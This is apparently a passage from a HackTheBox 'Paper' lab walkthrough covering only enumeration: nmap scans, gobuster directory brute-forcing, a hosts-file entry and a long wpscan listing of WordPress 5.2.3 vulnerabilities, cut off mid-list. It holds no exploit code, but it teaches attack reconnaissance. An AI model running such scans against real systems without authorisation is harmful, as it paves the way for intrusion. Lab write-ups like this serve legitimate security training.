> ## Documentation Index > Fetch the complete documentation index at: https://blog.daehyung.dev/llms.txt > Use this file to discover all available pages before exploring further. # HackTheBox Paper > Linux machine walkthrough from enumeration to privilege escalation. # Enumeration ## Run Nmap Scan ```bash theme={null} nmap -p- -T4 10.129.136.31 " Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-14 12:23 BST Nmap scan report for 10.129.136.31 Host is up (0.16s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 465.83 seconds " ``` ```bash theme={null} nmap -p 22,80,443 -sC -sV 10.129.136.31 " Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-14 12:32 BST Nmap scan report for 10.129.136.31 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 1005ea5056a600cb1c9c93df5f83e064 (RSA) | 256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA) |_ 256 3178afd13bc42e9d604eeb5d03eca022 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) | http-methods: |_ Potentially risky methods: TRACE |_http-title: HTTP Server Test Page powered by CentOS |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-title: HTTP Server Test Page powered by CentOS | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.39 seconds " ``` ## **View Website** Untitled ## Directory Bruteforcing (Run Gobuster) ```bash theme={null} gobuster dir -u http://10.129.136.31/ -w /usr/share/wordlists/dirb/common.txt -z " =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.136.31/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/10/14 12:33:32 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 199] /.htaccess (Status: 403) [Size: 199] /.htpasswd (Status: 403) [Size: 199] /cgi-bin/ (Status: 403) [Size: 199] /manual (Status: 301) [Size: 236] [--> http://10.129.136.31/manual/] =============================================================== 2023/10/14 12:34:50 Finished =============================================================== " ``` ## Finding Hidden Server Information from X-Backend-Server Untitled ### Updating Server Information We are going to include the hostname information to `/etc/hosts` ```bash theme={null} sudo vi /etc/hosts " 10.129.136.31 office.paper " ``` ## Office.Paper Untitled Looking at the bottom, the web application is made up of Wordpress ### Reading Posts Untitled Here Nick said to remove the secret content, which I believe is the private post in Wordpress. ## Looking for Wordpress Exploit ```bash theme={null} wpscan --url office.paper --api-token " _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://office.paper/ [10.129.136.31] [+] Started: Sat Oct 14 15:27:38 2023 Interesting Finding(s): [+] Headers | Interesting Entries: | - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 | - X-Powered-By: PHP/7.2.24 | - X-Backend-Server: office.paper | Found By: Headers (Passive Detection) | Confidence: 100% [+] WordPress readme found: http://office.paper/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-04). | Found By: Rss Generator (Passive Detection) | - http://office.paper/index.php/feed/, https://wordpress.org/?v=5.2.3 | - http://office.paper/index.php/comments/feed/, https://wordpress.org/?v=5.2.3 | | [!] 57 vulnerabilities identified: | | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308 | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308 | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308 | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ | | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2 | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0 | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw | | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20042 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://hackerone.com/reports/509930 | - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7 | | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v | | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53 | | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47634/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw | | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47635/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w | | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47633/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c | | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/e4bda91b-067d-45e4-a8be-672ccf8b1a06 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47636/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh | | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47637/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c | | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47638/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2 | - https://hackerone.com/reports/179695 | | [!] Title: WordPress <= 5.2.3 - Hardening Bypass | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/378d7df5-bce2-406a-86b2-ff79cd699920 | - https://blog.ripstech.com/2020/wordpress-hardening-bypass/ | - https://hackerone.com/reports/436928 | - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/ | | [!] Title: WordPress < 5.4.2 - Authenticated XSS in Block Editor | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/831e4a94-239c-4061-b66e-f5ca0dbb84fa | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4046 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf | - https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/ | - https://www.youtube.com/watch?v=tCh7Y8z8fb4 | | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/741d07d1-2476-430a-b82f-e1228a9343a4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27 | | [!] Title: WordPress < 5.4.2 - Open Redirection | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/12855f02-432e-4484-af09-7d0fbf596909 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5 | | [!] Title: WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/d8addb42-e70b-4439-b828-fd0697e5d9d4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049 | - https://www.exploit-db.com/exploits/48770/ | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p | - https://hackerone.com/reports/406289 | | [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/b6f69ff1-4c11-48d2-b512-c65168988c45 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc | | [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/eea6dbf5-e298-44a7-9b0d-f078ad4741f9 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25286 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122 | | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure | Fixed in: 5.2.10 | References: | - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450 | - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/ | - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq | - https://core.trac.wordpress.org/changeset/50717/ | - https://www.youtube.com/watch?v=J2GXmxAdNWs | | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer | Fixed in: 5.2.11 | References: | - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296 | - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62 | - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/ | - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9 | - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/ | - https://www.youtube.com/watch?v=HaW15aMzBUM | | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate | Fixed in: 5.2.13 | References: | - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d | - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/ | - https://core.trac.wordpress.org/ticket/54207 | | [!] Title: WordPress < 5.8 - Plugin Confusion | Fixed in: 5.8 | References: | - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223 | - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/ | | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84 | - https://hackerone.com/reports/1378209 | | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w | - https://hackerone.com/reports/425342 | - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability | | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86 | | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h | - https://hackerone.com/reports/541469 | | [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery | Fixed in: 5.2.15 | References: | - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09 | - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/ | | [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting | Fixed in: 5.2.16 | References: | - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be | - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/ | | [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting | Fixed in: 5.2.16 | References: | - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0 | - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/ | | [!] Title: WP < 6.0.2 - SQLi via Link API | Fixed in: 5.2.16 | References: | - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f | - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/ | | [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283 | | [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095 | | [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44 | | [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc | | [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0 | | [!] Title: WP < 6.0.3 - Stored XSS via the Customizer | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef | | [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955 | | [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8 | | [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f | | [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492 | | [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e | | [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg | Fixed in: 5.2.17 | References: | - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9 | - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/ | - https://github.com/WordPress/gutenberg/pull/45045/files | | [!] Title: WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding | References: | - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3590 | - https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/ | | [!] Title: WP < 6.2.1 - Directory Traversal via Translation Files | Fixed in: 5.2.18 | References: | - https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2745 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.2.1 - Thumbnail Image Update via CSRF | Fixed in: 5.2.18 | References: | - https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.2.2 - Shortcode Execution in User Generated Data | Fixed in: 5.2.18 | References: | - https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | - https://wordpress.org/news/2023/05/wordpress-6-2-2-security-release/ | | [!] Title: WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery | Fixed in: 5.2.18 | References: | - https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.2.1 - Contributor+ Content Injection | Fixed in: 5.2.18 | References: | - https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670 | - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/ | | [!] Title: WP < 6.3.2 - Denial of Service via Cache Poisoning | Fixed in: 5.2.19 | References: | - https://wpscan.com/vulnerability/6d80e09d-34d5-4fda-81cb-e703d0e56e4f | - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/ | | [!] Title: WP < 6.3.2 - Subscriber+ Arbitrary Shortcode Execution | Fixed in: 5.2.19 | References: | - https://wpscan.com/vulnerability/3615aea0-90aa-4f9a-9792-078a90af7f59 | - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/ | | [!] Title: WP < 6.3.2 - Contributor+ Comment Disclosure | Fixed in: 5.2.19 | References: | - 